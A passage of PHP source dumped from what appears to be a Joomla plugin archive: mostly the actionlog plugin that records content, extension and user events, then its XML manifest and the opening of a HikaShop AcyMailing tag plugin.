		// Not found a valid content type, don't process further
		if ($params === null)
		{
			return;
		}

		list(, $contentType) = explode('.', $params->type_alias);

		if ($isNew)
		{
			$messageLanguageKey = $params->text_prefix . '_' .
$params->type_title . '_ADDED';
			$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_ADDED';
		}
		else
		{
			$messageLanguageKey = $params->text_prefix . '_' .
$params->type_title . '_UPDATED';
			$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_UPDATED';
		}

		// If the content type doesn't has it own language key, use default
language key
		if (!$this->app->getLanguage()->hasKey($messageLanguageKey))
		{
			$messageLanguageKey = $defaultLanguageKey;
		}

		$id = empty($params->id_holder) ? 0 :
$article->get($params->id_holder);

		$message = array(
			'action'   => $isNew ? 'add' :
'update',
			'type'     => $params->text_prefix . '_TYPE_'
. $params->type_title,
			'id'       => $id,
			'title'    => $article->get($params->title_holder),
			'itemlink' => ActionlogsHelper::getContentTypeLink($option,
$contentType, $id, $params->id_holder)
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * After delete content logging method
	 * This method adds a record to #__action_logs contains (message, date,
context, user)
	 * Method is called right after the content is deleted
	 *
	 * @param   string  $context  The context of the content passed to the
plugin
	 * @param   object  $article  A JTableContent object
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onContentAfterDelete($context, $article)
	{
		$option = $this->app->input->get('option');

		if (!$this->checkLoggable($option))
		{
			return;
		}

		$params = ActionlogsHelper::getLogContentTypeParams($context);

		// Not found a valid content type, don't process further
		if ($params === null)
		{
			return;
		}

		// If the content type has it own language key, use it, otherwise, use
default language key
		if
($this->app->getLanguage()->hasKey(strtoupper($params->text_prefix
. '_' . $params->type_title . '_DELETED')))
		{
			$messageLanguageKey = $params->text_prefix . '_' .
$params->type_title . '_DELETED';
		}
		else
		{
			$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_DELETED';
		}

		$id = empty($params->id_holder) ? 0 :
$article->get($params->id_holder);

		$message = array(
			'action' => 'delete',
			'type'   => $params->text_prefix . '_TYPE_' .
$params->type_title,
			'id'     => $id,
			'title'  => $article->get($params->title_holder)
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On content change status logging method
	 * This method adds a record to #__action_logs contains (message, date,
context, user)
	 * Method is called when the status of the article is changed
	 *
	 * @param   string   $context  The context of the content passed to the
plugin
	 * @param   array    $pks      An array of primary key ids of the content
that has changed state.
	 * @param   integer  $value    The value of the state that the content has
been changed to.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onContentChangeState($context, $pks, $value)
	{
		$option = $this->app->input->getCmd('option');

		if (!$this->checkLoggable($option))
		{
			return;
		}

		$params = ActionlogsHelper::getLogContentTypeParams($context);

		// Not found a valid content type, don't process further
		if ($params === null)
		{
			return;
		}

		list(, $contentType) = explode('.', $params->type_alias);

		switch ($value)
		{
			case 0:
				$messageLanguageKey = $params->text_prefix . '_' .
$params->type_title . '_UNPUBLISHED';
				$defaultLanguageKey =
'PLG_SYSTEM_ACTIONLOGS_CONTENT_UNPUBLISHED';
				$action             = 'unpublish';
				break;
			case 1:
				$messageLanguageKey = $params->text_prefix . '_' .
$params->type_title . '_PUBLISHED';
				$defaultLanguageKey =
'PLG_SYSTEM_ACTIONLOGS_CONTENT_PUBLISHED';
				$action             = 'publish';
				break;
			case 2:
				$messageLanguageKey = $params->text_prefix . '_' .
$params->type_title . '_ARCHIVED';
				$defaultLanguageKey =
'PLG_SYSTEM_ACTIONLOGS_CONTENT_ARCHIVED';
				$action             = 'archive';
				break;
			case -2:
				$messageLanguageKey = $params->text_prefix . '_' .
$params->type_title . '_TRASHED';
				$defaultLanguageKey =
'PLG_SYSTEM_ACTIONLOGS_CONTENT_TRASHED';
				$action             = 'trash';
				break;
			default:
				$messageLanguageKey = '';
				$defaultLanguageKey = '';
				$action             = '';
				break;
		}

		// If the content type doesn't has it own language key, use default
language key
		if (!$this->app->getLanguage()->hasKey($messageLanguageKey))
		{
			$messageLanguageKey = $defaultLanguageKey;
		}

		$db    = $this->db;
		$query = $db->getQuery(true)
			->select($db->quoteName(array($params->title_holder,
$params->id_holder)))
			->from($db->quoteName($params->table_name))
			->where($db->quoteName($params->id_holder) . ' IN ('
. implode(',', ArrayHelper::toInteger($pks)) . ')');
		$db->setQuery($query);

		try
		{
			$items = $db->loadObjectList($params->id_holder);
		}
		catch (RuntimeException $e)
		{
			$items = array();
		}

		$messages = array();

		foreach ($pks as $pk)
		{
			$message = array(
				'action'      => $action,
				'type'        => $params->text_prefix .
'_TYPE_' . $params->type_title,
				'id'          => $pk,
				'title'       =>
$items[$pk]->{$params->title_holder},
				'itemlink'    =>
ActionlogsHelper::getContentTypeLink($option, $contentType, $pk,
$params->id_holder)
			);

			$messages[] = $message;
		}

		$this->addLog($messages, $messageLanguageKey, $context);
	}

	/**
	 * On Saving application configuration logging method
	 * Method is called when the application config is being saved
	 *
	 * @param   JRegistry  $config  JRegistry object with the new config
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onApplicationAfterSave($config)
	{
		$option = $this->app->input->getCmd('option');

		if (!$this->checkLoggable($option))
		{
			return;
		}

		$messageLanguageKey =
'PLG_ACTIONLOG_JOOMLA_APPLICATION_CONFIG_UPDATED';
		$action             = 'update';

		$message = array(
			'action'         => $action,
			'type'           =>
'PLG_ACTIONLOG_JOOMLA_TYPE_APPLICATION_CONFIG',
			'extension_name' => 'com_config.application',
			'itemlink'       => 'index.php?option=com_config'
		);

		$this->addLog(array($message), $messageLanguageKey,
'com_config.application');
	}

	/**
	 * On installing extensions logging method
	 * This method adds a record to #__action_logs contains (message, date,
context, user)
	 * Method is called when an extension is installed
	 *
	 * @param   JInstaller  $installer  Installer object
	 * @param   integer     $eid        Extension Identifier
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onExtensionAfterInstall($installer, $eid)
	{
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$manifest      = $installer->get('manifest');

		if ($manifest === null)
		{
			return;
		}

		$extensionType = $manifest->attributes()->type;

		// If the extension type has it own language key, use it, otherwise, use
default language key
		if
($this->app->getLanguage()->hasKey(strtoupper('PLG_ACTIONLOG_JOOMLA_'
. $extensionType . '_INSTALLED')))
		{
			$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_' . $extensionType
. '_INSTALLED';
		}
		else
		{
			$messageLanguageKey =
'PLG_ACTIONLOG_JOOMLA_EXTENSION_INSTALLED';
		}

		$message = array(
			'action'         => 'install',
			'type'           => 'PLG_ACTIONLOG_JOOMLA_TYPE_'
. $extensionType,
			'id'             => $eid,
			'name'           => (string) $manifest->name,
			'extension_name' => (string) $manifest->name
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On uninstalling extensions logging method
	 * This method adds a record to #__action_logs contains (message, date,
context, user)
	 * Method is called when an extension is uninstalled
	 *
	 * @param   JInstaller  $installer  Installer instance
	 * @param   integer     $eid        Extension id
	 * @param   integer     $result     Installation result
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onExtensionAfterUninstall($installer, $eid, $result)
	{
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		// If the process failed, we don't have manifest data, stop process
to avoid fatal error
		if ($result === false)
		{
			return;
		}

		$manifest      = $installer->get('manifest');

		if ($manifest === null)
		{
			return;
		}

		$extensionType = $manifest->attributes()->type;

		// If the extension type has it own language key, use it, otherwise, use
default language key
		if
($this->app->getLanguage()->hasKey(strtoupper('PLG_ACTIONLOG_JOOMLA_'
. $extensionType . '_UNINSTALLED')))
		{
			$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_' . $extensionType
. '_UNINSTALLED';
		}
		else
		{
			$messageLanguageKey =
'PLG_ACTIONLOG_JOOMLA_EXTENSION_UNINSTALLED';
		}

		$message = array(
			'action'         => 'install',
			'type'           => 'PLG_ACTIONLOG_JOOMLA_TYPE_'
. $extensionType,
			'id'             => $eid,
			'name'           => (string) $manifest->name,
			'extension_name' => (string) $manifest->name
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On updating extensions logging method
	 * This method adds a record to #__action_logs contains (message, date,
context, user)
	 * Method is called when an extension is updated
	 *
	 * @param   JInstaller  $installer  Installer instance
	 * @param   integer     $eid        Extension id
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onExtensionAfterUpdate($installer, $eid)
	{
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$manifest      = $installer->get('manifest');

		if ($manifest === null)
		{
			return;
		}

		$extensionType = $manifest->attributes()->type;

		// If the extension type has it own language key, use it, otherwise, use
default language key
		if
($this->app->getLanguage()->hasKey('PLG_ACTIONLOG_JOOMLA_'
. $extensionType . '_UPDATED'))
		{
			$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_' . $extensionType
. '_UPDATED';
		}
		else
		{
			$messageLanguageKey =
'PLG_ACTIONLOG_JOOMLA_EXTENSION_UPDATED';
		}

		$message = array(
			'action'         => 'update',
			'type'           => 'PLG_ACTIONLOG_JOOMLA_TYPE_'
. $extensionType,
			'id'             => $eid,
			'name'           => (string) $manifest->name,
			'extension_name' => (string) $manifest->name
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On Saving extensions logging method
	 * Method is called when an extension is being saved
	 *
	 * @param   string   $context  The extension
	 * @param   JTable   $table    DataBase Table object
	 * @param   boolean  $isNew    If the extension is new or not
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onExtensionAfterSave($context, $table, $isNew)
	{
		$option = $this->app->input->getCmd('option');

		if ($table->get('module') != null)
		{
			$option = 'com_modules';
		}

		if (!$this->checkLoggable($option))
		{
			return;
		}

		$params = ActionlogsHelper::getLogContentTypeParams($context);

		// Not found a valid content type, don't process further
		if ($params === null)
		{
			return;
		}

		list(, $contentType) = explode('.', $params->type_alias);

		if ($isNew)
		{
			$messageLanguageKey = $params->text_prefix . '_' .
$params->type_title . '_ADDED';
			$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_ADDED';
		}
		else
		{
			$messageLanguageKey = $params->text_prefix . '_' .
$params->type_title . '_UPDATED';
			$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_UPDATED';
		}

		// If the extension type doesn't have it own language key, use
default language key
		if (!$this->app->getLanguage()->hasKey($messageLanguageKey))
		{
			$messageLanguageKey = $defaultLanguageKey;
		}

		$message = array(
			'action'         => $isNew ? 'add' :
'update',
			'type'           => 'PLG_ACTIONLOG_JOOMLA_TYPE_'
. $params->type_title,
			'id'             => $table->get($params->id_holder),
			'title'          =>
$table->get($params->title_holder),
			'extension_name' =>
$table->get($params->title_holder),
			'itemlink'       =>
ActionlogsHelper::getContentTypeLink($option, $contentType,
$table->get($params->id_holder), $params->id_holder)
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On Deleting extensions logging method
	 * Method is called when an extension is being deleted
	 *
	 * @param   string  $context  The extension
	 * @param   JTable  $table    DataBase Table object
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onExtensionAfterDelete($context, $table)
	{
		if
(!$this->checkLoggable($this->app->input->get('option')))
		{
			return;
		}

		$params = ActionlogsHelper::getLogContentTypeParams($context);

		// Not found a valid content type, don't process further
		if ($params === null)
		{
			return;
		}

		$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_DELETED';

		$message = array(
			'action' => 'delete',
			'type'   => 'PLG_ACTIONLOG_JOOMLA_TYPE_' .
$params->type_title,
			'title'  => $table->get($params->title_holder)
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On saving user data logging method
	 *
	 * Method is called after user data is stored in the database.
	 * This method logs who created/edited any user's data
	 *
	 * @param   array    $user     Holds the new user data.
	 * @param   boolean  $isnew    True if a new user is stored.
	 * @param   boolean  $success  True if user was successfully stored in the
database.
	 * @param   string   $msg      Message.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterSave($user, $isnew, $success, $msg)
	{
		$context = $this->app->input->get('option');
		$task    = $this->app->input->get->getCmd('task');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$jUser = Factory::getUser();

		if (!$jUser->id)
		{
			$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_REGISTERED';
			$action             = 'register';

			// Reset request
			if ($task === 'reset.request')
			{
				$messageLanguageKey =
'PLG_ACTIONLOG_JOOMLA_USER_RESET_REQUEST';
				$action             = 'resetrequest';
			}

			// Reset complete
			if ($task === 'reset.complete')
			{
				$messageLanguageKey =
'PLG_ACTIONLOG_JOOMLA_USER_RESET_COMPLETE';
				$action             = 'resetcomplete';
			}

			// Registration Activation
			if ($task === 'registration.activate')
			{
				$messageLanguageKey =
'PLG_ACTIONLOG_JOOMLA_USER_REGISTRATION_ACTIVATE';
				$action             = 'activaterequest';
			}
		}
		elseif ($isnew)
		{
			$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_ADDED';
			$action             = 'add';
		}
		else
		{
			$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_UPDATED';
			$action             = 'update';
		}

		$userId   = $jUser->id ?: $user['id'];
		$username = $jUser->username ?: $user['username'];

		$message = array(
			'action'      => $action,
			'type'        =>
'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user['id'],
			'title'       => $user['name'],
			'itemlink'    =>
'index.php?option=com_users&task=user.edit&id=' .
$user['id'],
			'userid'      => $userId,
			'username'    => $username,
			'accountlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$userId,
		);

		$this->addLog(array($message), $messageLanguageKey, $context,
$userId);
	}

	/**
	 * On deleting user data logging method
	 *
	 * Method is called after user data is deleted from the database
	 *
	 * @param   array    $user     Holds the user data
	 * @param   boolean  $success  True if user was successfully stored in the
database
	 * @param   string   $msg      Message
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterDelete($user, $success, $msg)
	{
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_DELETED';

		$message = array(
			'action'      => 'delete',
			'type'        =>
'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user['id'],
			'title'       => $user['name']
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On after save user group data logging method
	 *
	 * Method is called after user group is stored into the database
	 *
	 * @param   string   $context  The context
	 * @param   JTable   $table    DataBase Table object
	 * @param   boolean  $isNew    Is new or not
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterSaveGroup($context, $table, $isNew)
	{
		// Override context (com_users.group) with the component context
(com_users) to pass the checkLoggable
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		if ($isNew)
		{
			$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_ADDED';
			$action             = 'add';
		}
		else
		{
			$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_UPDATED';
			$action             = 'update';
		}

		$message = array(
			'action'      => $action,
			'type'        =>
'PLG_ACTIONLOG_JOOMLA_TYPE_USER_GROUP',
			'id'          => $table->id,
			'title'       => $table->title,
			'itemlink'    =>
'index.php?option=com_users&task=group.edit&id=' .
$table->id
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On deleting user group data logging method
	 *
	 * Method is called after user group is deleted from the database
	 *
	 * @param   array    $group    Holds the group data
	 * @param   boolean  $success  True if user was successfully stored in the
database
	 * @param   string   $msg      Message
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterDeleteGroup($group, $success, $msg)
	{
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_DELETED';

		$message = array(
			'action'      => 'delete',
			'type'        =>
'PLG_ACTIONLOG_JOOMLA_TYPE_USER_GROUP',
			'id'          => $group['id'],
			'title'       => $group['title']
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * Method to log user login success action
	 *
	 * @param   array  $options  Array holding options (user, responseType)
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterLogin($options)
	{
		$context = 'com_users';

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$loggedInUser       = $options['user'];
		$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_LOGGED_IN';

		$message = array(
			'action'      => 'login',
			'userid'      => $loggedInUser->id,
			'username'    => $loggedInUser->username,
			'accountlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$loggedInUser->id,
			'app'         =>
'PLG_ACTIONLOG_JOOMLA_APPLICATION_' .
$this->app->getName(),
		);

		$this->addLog(array($message), $messageLanguageKey, $context,
$loggedInUser->id);
	}

	/**
	 * Method to log user login failed action
	 *
	 * @param   array  $response  Array of response data.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserLoginFailure($response)
	{
		$context = 'com_users';

		if (!$this->checkLoggable($context))
		{
			return;
		}

		// Get the user id for the given username
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName(array('id',
'username')))
			->from($this->db->quoteName('#__users'))
			->where($this->db->quoteName('username') . ' =
' . $this->db->quote($response['username']));
		$this->db->setQuery($query);

		try
		{
			$loggedInUser = $this->db->loadObject();
		}
		catch (JDatabaseExceptionExecuting $e)
		{
			return;
		}

		// Not a valid user, return
		if (!isset($loggedInUser->id))
		{
			return;
		}

		$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_LOGIN_FAILED';

		$message = array(
			'action'      => 'login',
			'id'          => $loggedInUser->id,
			'userid'      => $loggedInUser->id,
			'username'    => $loggedInUser->username,
			'accountlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$loggedInUser->id,
			'app'         =>
'PLG_ACTIONLOG_JOOMLA_APPLICATION_' .
$this->app->getName(),
		);

		$this->addLog(array($message), $messageLanguageKey, $context,
$loggedInUser->id);
	}

	/**
	 * Method to log user's logout action
	 *
	 * @param   array  $user     Holds the user data
	 * @param   array  $options  Array holding options (remember,
autoregister, group)
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserLogout($user, $options = array())
	{
		$context = 'com_users';

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$loggedOutUser = User::getInstance($user['id']);

		if ($loggedOutUser->block)
		{
			return;
		}

		$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_LOGGED_OUT';

		$message = array(
			'action'      => 'logout',
			'id'          => $loggedOutUser->id,
			'userid'      => $loggedOutUser->id,
			'username'    => $loggedOutUser->username,
			'accountlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$loggedOutUser->id,
			'app'         =>
'PLG_ACTIONLOG_JOOMLA_APPLICATION_' .
$this->app->getName(),
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * Function to check if a component is loggable or not
	 *
	 * @param   string  $extension  The extension that triggered the event
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	protected function checkLoggable($extension)
	{
		return in_array($extension, $this->loggableExtensions);
	}

	/**
	 * On after Remind username request
	 *
	 * Method is called after user request to remind their username.
	 *
	 * @param   array  $user  Holds the user data.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterRemind($user)
	{
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$message = array(
			'action'      => 'remind',
			'type'        =>
'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user->id,
			'title'       => $user->name,
			'itemlink'    =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
			'userid'      => $user->id,
			'username'    => $user->name,
			'accountlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
		);

		$this->addLog(array($message),
'PLG_ACTIONLOG_JOOMLA_USER_REMIND', $context, $user->id);
	}

	/**
	 * On after Check-in request
	 *
	 * Method is called after user request to check-in items.
	 *
	 * @param   array  $table  Holds the table name.
	 *
	 * @return  void
	 *
	 * @since   3.9.3
	 */
	public function onAfterCheckin($table)
	{
		$context = 'com_checkin';
		$user    = Factory::getUser();

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$message = array(
			'action'      => 'checkin',
			'type'        =>
'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user->id,
			'title'       => $user->username,
			'itemlink'    =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
			'userid'      => $user->id,
			'username'    => $user->username,
			'accountlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
			'table'       => $table,
		);

		$this->addLog(array($message),
'PLG_ACTIONLOG_JOOMLA_USER_CHECKIN', $context, $user->id);
	}

	/**
	 * On after log action purge
	 *
	 * Method is called after user request to clean action log items.
	 *
	 * @param   array  $group  Holds the group name.
	 *
	 * @return  void
	 *
	 * @since   3.9.4
	 */
	public function onAfterLogPurge($group = '')
	{
		$context = $this->app->input->get('option');
		$user    = Factory::getUser();
		$message = array(
			'action'      => 'actionlogs',
			'type'        =>
'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user->id,
			'title'       => $user->username,
			'itemlink'    =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
			'userid'      => $user->id,
			'username'    => $user->username,
			'accountlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
		);
		$this->addLog(array($message),
'PLG_ACTIONLOG_JOOMLA_USER_LOG', $context, $user->id);
	}

	/**
	 * On after log export
	 *
	 * Method is called after user request to export action log items.
	 *
	 * @param   array  $group  Holds the group name.
	 *
	 * @return  void
	 *
	 * @since   3.9.4
	 */
	public function onAfterLogExport($group = '')
	{
		$context = $this->app->input->get('option');
		$user    = Factory::getUser();
		$message = array(
			'action'      => 'actionlogs',
			'type'        =>
'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user->id,
			'title'       => $user->username,
			'itemlink'    =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
			'userid'      => $user->id,
			'username'    => $user->username,
			'accountlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
		);
		$this->addLog(array($message),
'PLG_ACTIONLOG_JOOMLA_USER_LOGEXPORT', $context, $user->id);
	}

	/**
	 * On after Cache purge
	 *
	 * Method is called after user request to clean cached items.
	 *
	 * @param   string  $group  Holds the group name.
	 *
	 * @return  void
	 *
	 * @since   3.9.4
	 */
	public function onAfterPurge($group = 'all')
	{
		$context = $this->app->input->get('option');
		$user    = JFactory::getUser();

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$message = array(
			'action'      => 'cache',
			'type'        =>
'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user->id,
			'title'       => $user->username,
			'itemlink'    =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
			'userid'      => $user->id,
			'username'    => $user->username,
			'accountlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
			'group'       => $group,
		);
		$this->addLog(array($message),
'PLG_ACTIONLOG_JOOMLA_USER_CACHE', $context, $user->id);
	}

	/**
	 * On after CMS Update
	 *
	 * Method is called after user update the CMS.
	 *
	 * @param   string  $oldVersion  The Joomla version before the update
	 *
	 * @return  void
	 *
	 * @since   3.9.21
	 */
	public function onJoomlaAfterUpdate($oldVersion = null)
	{
		$context = $this->app->input->get('option');
		$user    = JFactory::getUser();

		if (empty($oldVersion))
		{
			$oldVersion = JText::_('JLIB_UNKNOWN');
		}

		$message = array(
			'action'      => 'joomlaupdate',
			'type'        =>
'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user->id,
			'title'       => $user->username,
			'itemlink'    =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
			'userid'      => $user->id,
			'username'    => $user->username,
			'accountlink' =>
'index.php?option=com_users&task=user.edit&id=' .
$user->id,
			'version'     => JVERSION,
			'oldversion'  => $oldVersion,
		);
		$this->addLog(array($message),
'PLG_ACTIONLOG_JOOMLA_USER_UPDATE', $context, $user->id);
	}
}
PK	�[�TM�11actionlog/joomla/joomla.xmlnu�[���<?xml
version="1.0" encoding="UTF-8"?>
<extension version="3.9" type="plugin"
group="actionlog" method="upgrade">
	<name>PLG_ACTIONLOG_JOOMLA</name>
	<author>Joomla! Project</author>
	<creationDate>May 2018</creationDate>
	<copyright>Copyright (C) 2005 - 2020 Open Source Matters. All rights
reserved.</copyright>
	<license>GNU General Public License version 2 or later; see
LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_ACTIONLOG_JOOMLA_XML_DESCRIPTION</description>
	<files>
		<filename plugin="joomla">joomla.php</filename>
	</files>
	<languages>
		<language
tag="en-GB">en-GB.plg_actionlog_joomla.ini</language>
		<language
tag="en-GB">en-GB.plg_actionlog_joomla.sys.ini</language>
	</languages>
</extension>
PK	�[)L���
acymailing/hikashop/hikashop.phpnu�[���<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.4.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2021 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

class plgAcymailingHikashop extends JPlugin{
	var $cats = array();
	var $tags = array();

	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('acymailing',
'hikashop');
			$this->params = new acyParameter($plugin->params);
		}

		$this->acypluginsHelper =
acymailing_get('helper.acyplugins');
		$this->db = JFactory::getDBO();
	}

	function loadAcymailing(){
		if(isset($this->hikashop_installed)) return
$this->hikashop_installed;
		if(!defined('DS')) define('DS',
DIRECTORY_SEPARATOR);
		if(!include_once(rtrim(JPATH_ADMINISTRATOR,
DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php')){
			$this->hikashop_installed = false;
		}else{
			$this->hikashop_installed = true;
		}
		return $this->hikashop_installed;
	}

	function acymailing_getPluginType(){
		$onePlugin = new stdClass();
		$onePlugin->name = 'HikaShop';
		$onePlugin->function = 'acymailinghikashop_show';
		$onePlugin->help = 'plugin-hikashop';
		return $onePlugin;
	}

	function acymailinghikashop_show(){
		$config = acymailing_config();
		if(version_compare($config->get('version'),
'5.2.0', '<')){
			acymailing_display('Please download and install the latest
AcyMailing version otherwise this plugin will NOT work',
'error');
			return;
		}
		if(!$this->loadAcymailing()) return 'Please install HikaShop
before using the HikaShop tag plugin';
		$app = JFactory::getApplication();
		$contentType = array();
		$contentType[] = JHTML::_('select.option', "title",
JText::_('TITLE_ONLY'));
		$contentType[] = JHTML::_('select.option', "intro",
JText::_('INTRO_ONLY'));
		$contentType[] = JHTML::_('select.option', "full",
JText::_('FULL_TEXT'));
		$priceDisplay = array();
		$priceDisplay[] = JHTML::_('select.option', "full",
JText::_('APPLY_DISCOUNTS'));
		$priceDisplay[] = JHTML::_('select.option',
"no_discount", JText::_('NO_DISCOUNT'));
		$priceDisplay[] = JHTML::_('select.option', "none",
JText::_('HIKASHOP_NO'));
		$pageInfo = new stdClass();
		$pageInfo->filter = new stdClass();
		$pageInfo->filter->order = new stdClass();
		$pageInfo->limit = new stdClass();
		$paramBase = ACYMAILING_COMPONENT.'.hikashop';
		$pageInfo->filter->order->value =
$app->getUserStateFromRequest($paramBase.".filter_order",
'filter_order', 'a.product_id', 'cmd');
		$pageInfo->filter->order->dir =
$app->getUserStateFromRequest($paramBase.".filter_order_Dir",
'filter_order_Dir', 'desc', 'word');
		if(strtolower($pageInfo->filter->order->dir) !==
'desc') $pageInfo->filter->order->dir =
'asc';
		$pageInfo->search =
$app->getUserStateFromRequest($paramBase.".search",
'search', '', 'string');
		$pageInfo->search = JString::strtolower(trim($pageInfo->search));
		$pageInfo->lang =
$app->getUserStateFromRequest($paramBase.".lang",
'lang', '', 'string');
		$pageInfo->contenttype =
$app->getUserStateFromRequest($paramBase.".contenttype",
'contenttype', 'full', 'string');
		$pageInfo->pricedisplay =
$app->getUserStateFromRequest($paramBase.".pricedisplay",
'pricedisplay', 'full', 'string');
		$pageInfo->limit->value =
$app->getUserStateFromRequest($paramBase.'.list_limit',
'limit', $app->getCfg('list_limit'),
'int');
		$pageInfo->limit->start =
$app->getUserStateFromRequest($paramBase.'.limitstart',
'limitstart', 0, 'int');

		if(!empty($pageInfo->search)){
			$searchVal =
'\'%'.acymailing_getEscaped($pageInfo->search).'%\'';
			$filters[] = "a.product_id LIKE $searchVal OR a.product_description
LIKE $searchVal OR a.product_name LIKE $searchVal OR a.product_code LIKE
$searchVal";
		}
		$whereQuery = '';
		if(!empty($filters)){
			$whereQuery = ' WHERE ('.implode(') AND (',
$filters).')';
		}
		$query = 'SELECT SQL_CALC_FOUND_ROWS a.* FROM
'.acymailing_table('hikashop_product', false).' as
a';
		if(!empty($whereQuery)) $query .= $whereQuery;
		if(!empty($pageInfo->filter->order->value)){
			$query .= ' ORDER BY
'.$pageInfo->filter->order->value.'
'.$pageInfo->filter->order->dir;
		}
		$this->db->setQuery($query, $pageInfo->limit->start,
$pageInfo->limit->value);
		$rows = $this->db->loadObjectList();
		if(!empty($pageInfo->search)){
